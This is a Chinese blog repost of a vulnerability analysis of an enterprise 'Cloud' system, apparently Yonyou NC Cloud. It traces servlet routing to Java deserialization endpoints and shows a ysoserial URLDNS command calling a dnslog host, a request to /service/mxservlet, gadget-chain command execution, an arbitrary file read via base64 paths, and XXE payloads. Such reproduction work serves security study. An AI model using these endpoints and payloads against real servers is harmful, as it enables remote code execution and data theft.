Cloud系统漏洞分析

于 2023-11-13 21:45:00 发布
阅读量297 收藏 2
点赞数 1
分类专栏： Web漏洞 文章标签： 网络安全 web安全 安全 网络 前端
原文链接：https://forum.butian.net/share/2529
版权

目录

路由分析

寻找反序列化点

反序列化漏洞验证

文件读取

XXE注入

最近学习反序列漏洞时，恰好看到某系统官方在安全公告中通告了较多的反序列化漏洞。出于兴趣，尝试对该系统的公开漏洞进行一次个人的浅浅分析。如有不对之处，请各位师傅指正并包涵。

路由分析

使用安装包安装完成站点，将服务端的代码打包使用idea打开。
先打开web.xml看一下路由信息。这里可以看到在路径中访问/service/*或/servlet/*实际上都是同一个应用服务处理的。
 

image.png


调用服务的类完整路径如下所示：
 

image.png


使用nc.bs.framework.server路径名作为关键字，对全局进行搜索。在bin/versionback/目录下的digest.cache中找到jar包与类的映射缓存信息，发现相关类在fw.jar包中。
 

image.png


在idea中通过添加library的方式对fw.jar进行反编译，找到InvokerServlet类源码。
该类中所有的get和post操作都被doAction函数处理。
 

image.png


通过配置远程调试进行分析，发现pathInfo获得的是/service/*或/servlet/*后的路径，例如请求/service/test666就会出现如下情况。
 

image.png


继续跟进doAction函数，发现该类的主要用作是获取modulName和serviceName并调用对应服务，而doActuin方法获取这两个参数有两种方式：
1、判断传入的uri中是否以～开头，当以~开头，进入到该分支进行处理，并根据~后的内容给moduleName赋值。
 

image.png


2、判断传入的uri中是否以～开头，当不是~开头，将传入的uri作为serviceName
 

image.png


经过上面的流程处理后，此时moduleName为空，serviceName为uri中service或servlet后的内容。
完成上述分支后，就会调用getServiceObject方法实例化对应服务类。
 

image.png


跟进getServiceObject方法，发现会根据moduleName是否为空存在两个分支：
1、当moduleName不为空时，会进入else分支，使用serviceObjMap进行处理并用:拼接moduleName和serviceName。因为暂不涉及传入moduleName的情况，就先不深入跟，将注意力放在第二分支上。
2、当moduleName为空时，直接使用使用NCLocator实例化调用ServerNCLocator的lookup方法。
 

image.png


 

image.png


从lookup方法进入findComponent方法根据组件名查询服务类对象。
 

image.png


成功获得实例obj对象后，会通过反射调用的方式，调用doAction方法。因此后面找到调用的服务类，会从doAction作为入口。

image.png

寻找反序列化点

用工具对fw.jar反编译出java，方便后在idea中按照文件全局搜索关键字（class文件无法直接在idea中按文件进行全局搜索）。使用readObject、ois.readObject等关键搜索。找到MxServlet.java和MonitorServlet.java等存在疑似注入点。
 

image-20231103180730149


 

image-20231103180801244


进一步阅读MxServlet.java反编译的源码，看到在doAction方法下，存在对request请求的数据直接使用对象输入流的readObject方法进行反序列化。因为通过ois传入的序列化对象可控，因此在后续自动调用该对象的readObject方法时，就会可能存在一系列的套娃调用的问题。
 

image-20231103180831850


查看MonitorServlet.java源码信息，发现也存在同样的反序列化的问题。序列化的对象数据也是直接从request的请求中获得的。
 

image-20231103180852299


搜索文件关键字，在modules/uap/META-INF/M_monitortool50.upm中找到该服务类的组件名称。

<?xml version='1.0' encoding='utf-8'?>
<module>
    <public>
        <component name="mxservlet">
            <implementation>nc.bs.framework.mx.MxServlet</implementation>
        </component> 
        <component name="monitorservlet">
            <implementation>nc.bs.framework.mx.monitor.MonitorServlet</implementation>
        </component> 
    </public>
</module>

根据之前的路由规则以及实例化服务类的方式，用组件名称就能构造出可以触发漏洞路径/service/mxservlet和/service/monitorservlet
在寻找其他反序列化漏洞时，正好发现一个通告，对通告中的服务类进行查找，尝试复现该漏洞。
 

image.png


在uapsystemframework.jar源码中发现FileManageServlet类的doAction方法存在与之前类似的反序列化的问题。
 

image.png


参照前文可构造漏洞路径/service/FileManageServlet，后面需要对以上的触发路径进行验证。

反序列化漏洞验证

在利用cc链进行命令执行前，可以使用URLDNS对之前的阅读源码的理解进行验证。

java -jar ysoserial-all.jar URLDNS "http://mxtest.97886226fd.ipv6.1433.eu.org." >mxtest.bin

之后，构造请求数据包，请求的路径为之前构造出来的路径，以/service/mxservlet为例
将生成的序列化数据直接从文件中粘贴。

POST /service/mxservlet HTTP/1.1
Host: 192.168.126.131:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/data
Cookie: JSESSIONID=AE08AAAA9C9FC99389408FE028A93302.server
Connection: close

image.png


在dnslog中获得请求，证明该路径下确实存在对请求数据包中的对象直接反序列化的问题。
 

image.png


为了对反序列化利用链进行探测，向大家推荐一下Yakit的Fuzztag功能。通过dnslog对可用的利用链进行初步判断。
 

image.png


domain填写个dnslog的域名即可。
 

image.png


发送数据包后，在dnslog中收到如下信息：
 

image.png


从获得的信息可知，当前服务器为windows。其中cc31or321、cc41和cb17、cb18是指探测到的cc、cb依赖版本。对比版本号可以很方便的看出，可以使用影响commons-collections3版本的CC1/3/5/6/7链，也可以使用CB183链。
但是需要注意探测出来的利用链并非均可利用，因为还会受到jdk版本影响。比如，CC1/3链因为在jdk 8u71版本中进行了修复，因此在之后的版中jdk版中无法利用，而CC6链则不受jdk版本影响。
检查一下该系统中依赖，发现正好有用到commons-collections 3.2.1；commons-beanutils 1.8.0

image-20231103182759406

image.png


查找学习资料了解，3.2.2版本后，增加了一个方法FunctorUtils#checkUnsafeSerialization，检查常⻅的危险Transformer类。而4.4.1版本后，则是常用的几个危险Transformer类不再实现Serializable接口。都无法利用它们进行命令执行。
由于本次环境使用的jdk大于8u71版本，因此先用不受影响的CC6链进行测试。
使用Yakit生成CC6链的十六进制字节码：
 

image.png


使用Yakit的Fuzztag十六进制解码功能，对字节码进行处理：
 

image.png


成功执行命令：
 

image.png


对其他利用利用链进行测试：
 

image.png


使用Yakit的Fuzztag对tomcat body回显链进行遍历测试：
 

image.png


更多Fuzztag使用技巧可参考官方手册：Fuzz Tag Playbook

文件读取

在漏洞通告中，除了以上反序列化漏洞，还注意到一个任意文件读取漏洞
 

image.png


对modules\hrpub\lib\目录下的pubhrpubtools.jar进行反编译，找到FileServlet类文件，查看源码。先看doAction方法：
 

image.png


跟进performTask方法，发现存在对request请求中的path参数值进行base64解码，并将path带入getFileContent方法中。期间虽然又对文件后缀进行判断，但是仅作为返回包中Content-Type取值依据，并未作限制或者拦截。
 

image.png


跟进getFileContent方法，发现是非常标准的读文件并返回内容的代码。

image.png

image-20231103181125720


找到漏洞位置，接着寻找如何触发。搜索发现，FileServlet类的组件名称就是它的完整路径。

image.png

image.png


尝试构造数据包，漏洞路径还是依据前文中的路由规则构造，service或servlet+组件名称，就可以实列化该服务。
 

image.png

image.png


使用get或post发送数据都可成功触发。

XXE注入

XXE即XML外部实体注入，由上面可知，外部实体指的就是DTD外部实体，而造成XXE的原因是在解析XML的时候，对恶意的外部实体进行解析导致可加载恶意外部文件，造成严重危害。
查找资料时，发现有师傅公开的该系统登录位置存在的xxe漏洞。
在登录位置抓包：
 

image.png

·
 

image.png


使用常见的外部实体xxe注入代码测试，发现果然可以执行但是无回显信息。

]><foo>%26test;</foo>

image.png


推测可能是xml代码因为缺少部分标签，导致无法回显；尝试对原本登录包中xml代码进行格式化，仿照原本的格式修改xxe注入代码。
 

image-20231103175237627


删除多余无用的代码后，就可以得到一个简洁的可回显payload

]> <rpc transaction="10" method="checkPwd"> <vps> <p>%26test;</p> </vps> </rpc>

image.png


因为该漏洞黑盒测试就很好挖到，就简单调试看一下源码学习一下。
先根据路径信息，在hrss目录下的web.xml获得相关的服务信息。利用完整的类路径找它的jar。
 

image.png


找到dorado5-libs.jar进行反编译，并通过查找关键字，对关键位置下断点进行远程调试。
最终找到在BaseRPCHandler类初始化方法中调用了父类的初始化方法。
 

image.png


它的父类AbstractRPCHandler初始化时又调用了Dom4jXmlBuilder的buildDocument方法对_xml中传进行来的xml代码进行解析，并未进行任何过滤。而Dom4jXmlBuilder中使用了DocumentBuilder类是JDK自带的类，在该类解析时会读取外部实体内容，因此产生的XXE漏洞是有回显的。
 

image.png


最终，获得从外部实体引入的文件内容，并从返回包中回返。

image.png

原文链接：https://forum.butian.net/share/2529

免费领取安全学习资料包！

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等

 

应急响应笔记

学习路线

渗透测试老鸟-九青
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
用友NC及NC Cloud MxServlet反序列化漏洞复现
0xSec
11-15 2144
用友NC及NC Cloud系统存在反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行了反序列化操作，结合系统本身存在的反序列化利用链，可造成了命令执行，深入利用可随意操作服务器。
druid监控页面未授权访问漏洞
热门推荐
m0_37354578的博客
06-30 1万+
一、项目环境 SpringBoot Version：2.4.5 二、问题场景 项目中引入druid-spring-boot-starter，且spring.datasource.druid.stat-view-servlet.enabled配置为true时，可以直接访问Druid Monitor监控平台，可能会造成企业机密信息被攻击者获取 <dependency> <groupId>com.alibaba</groupId> <artifactId&g
用友OA检测工具-fupo_for_yonyou
siu~
08-16 428
用友漏洞检测，持续更新漏洞检测模块
深入学习和理解Servlet（二）
java界的小学生
05-20 1561
深入学习和理解Servlet（二） 什么是Servlet Servlet（Server Applet）是Java Servlet的简称，称为小服务程序或服务连接器，用Java编写的服务器端程序，具有独立于平台和协议的特性，主要功能在于交互式地浏览和生成数据，生成动态Web内容。 狭义的Servlet是指Java语言实现的一个接口，广义的Servlet是指任何实现了这个Servlet接口的类，一般情...
CPU 内存 磁盘监控
okkeqin的专栏
01-22 1216
---内存、CPU、磁盘空间监控 web.xml：              MonitorServlet         com.xxxxxx.aaa.monitor.servlet.MonitorServlet   com.xxxxxx.aaa.monitor.servlet.MonitorServlet： package com.xxxxxx.aaa.monitor.se
基于Cloud Kernel龙蜥操作系统，并对其进行自动化缺陷检测、漏洞挖掘和修复，以提升其安全性和可靠性
11-15
总结来说，通过结合静态与动态分析、漏洞扫描、安全审计等方法，我们可以对Cloud Kernel龙蜥操作系统进行全面的安全保障。同时，利用自动化修复工具和持续监控机制，可以显著提高系统的安全性和可靠性。在实际操作中...
python项目漏洞扫描系统.zip
最新发布
04-17
- 云服务部署：将系统部署到云平台，如AWS、Azure或Google Cloud，以便远程访问和管理。 该系统对于维护网络和系统的安全至关重要，它可以帮助及时发现潜在的安全问题，并采取措施防止数据泄露或其他安全事件的发生...
nextcloud-20.0.4.zip
01-10
10. **监控与日志**：为了便于系统管理员监控Nextcloud的运行状况，新版本可能增强了日志记录和监控功能，使得问题排查和性能分析更加便捷。 综上所述，Nextcloud 20.0.4是一个重要的更新，它不仅提升了安全性、...
「安全研究」Cloud，the Hard Way - 安全教育.zip
12-04
再者，**安全漏洞**是所有系统都可能面临的威胁。云环境中的漏洞管理需要持续的扫描、评估和修补，确保系统的最新状态。同时，对于新出现的零日漏洞，需要有快速响应机制，以降低被利用的风险。 **信息安全**则是一...
detectify-cloudflare
06-02
7. **监控与警报**：集成Detectify后，可能需要设置警报系统，以便在发现新漏洞时及时通知。这有助于快速响应，降低风险。 8. **持续改进**：定期评估Detectify和Cloudflare的配合效果，根据反馈和新的安全威胁更新...
三、servlet防止sql注入漏洞
tianyejun6的博客
12-31 2352
一、经常出现漏洞的sql语句 用户名和密码 一起同时查询。select * from users where username=‘abc’ and passwd=‘123’ or 1=‘1’ 二、正确的sql语句先查询数据库根据用户名查询密码，如果存在改用户名，再看密码是否相同。 "select passwd from users where username='" + name + "' limi
三个代码执行漏洞的复现
gh0stf1re的博客
04-04 5535
CNVD-2021-30167（用友NC BeanShell远程代码执行） CVE-2019-0193（Apache Solr Velocity模板注入RCE） CVE-2020-14882（Weblogic Console远程代码执行漏洞）
用友 NC bsh.servlet.BshServlet 远程命令执行漏洞
Adminxe的博客
07-02 5302
0x00 漏洞描述 用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过BeanShell 执行远程命令获取服务器权限 看到这个beanshell，就会想起来一个洞，是泛微OA的beanshell 0x01 漏洞影响 用友 NC 0x02 FOFA “用友网络” 0x03 漏洞复现 漏洞位置 /servlet/~ic/bsh.servlet.BshServlet 将POC修改为： exec(“whoami”) 0x04 利用总..
研究员在3个微软签名的引导程序中发现UEFI安全引导绕过漏洞
smellycat000的专栏
08-15 350
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士专栏·供应链安全数字化时代，软件无处不在。软件如同社会中的“虚拟人”，已经成为支撑社会正常运转的最基本元素之一，软件的安全性问题也正在成为当今社会的根本性、基础性问题。随着软件产业的快速发展，软件供应链也越发复杂多元，复杂的软件供应链会引入一系列的安全问题，导致信息系统的整体安全防护难度越来越大。近年来，针对软件供应链的安全攻击事件一直呈快速增长...
servlet第二讲（序列化和反序列化、配置上下文参数、service方法的作用、返回给前端json数据）
Rockandrollman的博客
06-27 1027
1 什么是序列化和反序列化，为什么要序列化？ 1.1序列化和反序列化的定义： (1) Java序列化就是指把Java对象转换为字节序列的过程 Java反序列化就是指把字节序列恢复为Java对象的过程。 (2)序列化最重要的作用：在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。 反序列化的最重要的作用：根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。 总结： 核心作用就是对象状态的保存和重建。（整个过程核心点就是字节流中所保存的对象状态及
JBoss JMXInvokerServlet 反序列化漏洞复现
W小哥
05-26 1794
一、漏洞描述 影响范围 JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Da
Servlet监视器
javababy1
11-24 265
Servlet监视器 ServletContextListener：应用上下文生命周期监听器。用于监听Web应用的启动和销毁事件。 ServletContextAttributeListener ：应用上下文属性事件监听器。用于监听Web应用上下文中的属性改变的事件。 ServletRequestAttributeListener：请求属性事件监听器。用于监听请求中的属性改变的事件。 Ht...
nc二次开发问题集（zt）
Just do it!
05-22 5426
一、供应链采购订单问题  在采购订单参照请购单时，若选择了10行请购单的记录，采购订单的表体也就显示了10条记录，如何才能实现还可以再弹出请购单的参照，追加一条记录，而不需要取消单据后重现选择请购单。 答：截止最新版本，你这个问题只能是退回去，重新选择１１条过来，不能如你希望那样１０条不动再追加第１１条．这是个易用性改进的需求，我转给SCM开发部门． 二、3.1的XML导入文档
spring cloud漏洞
09-16
Spring Cloud Gateway存在一个远程代码执行漏洞（CVE-2022-22947），具体详情可以参考和。根据公告描述，当启用和暴露Gateway Actuator端点时，攻击者可以发送特制的恶意请求，从而远程执行任意代码。这个漏洞可能导致严重的安全问题。 Spring Cloud Gateway是Spring开发团队基于Spring Boot开发的一个组件，用于构建微服务架构中的网关。它提供了诸如路由、负载均衡、过滤、熔断等功能。更多关于Spring Cloud Gateway的信息可以参考。 为了保障系统的安全性，我建议及时升级Spring Cloud Gateway到修复了该漏洞的版本。同时，还应该加强对网关的安全配置，如限制对Gateway Actuator端点的访问权限，避免暴露不必要的功能。 总结起来，Spring Cloud存在一个远程代码执行漏洞（CVE-2022-22947），可能导致严重的安全问题。为了降低风险，建议升级到修复了该漏洞的版本，并加强网关的安全配置。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值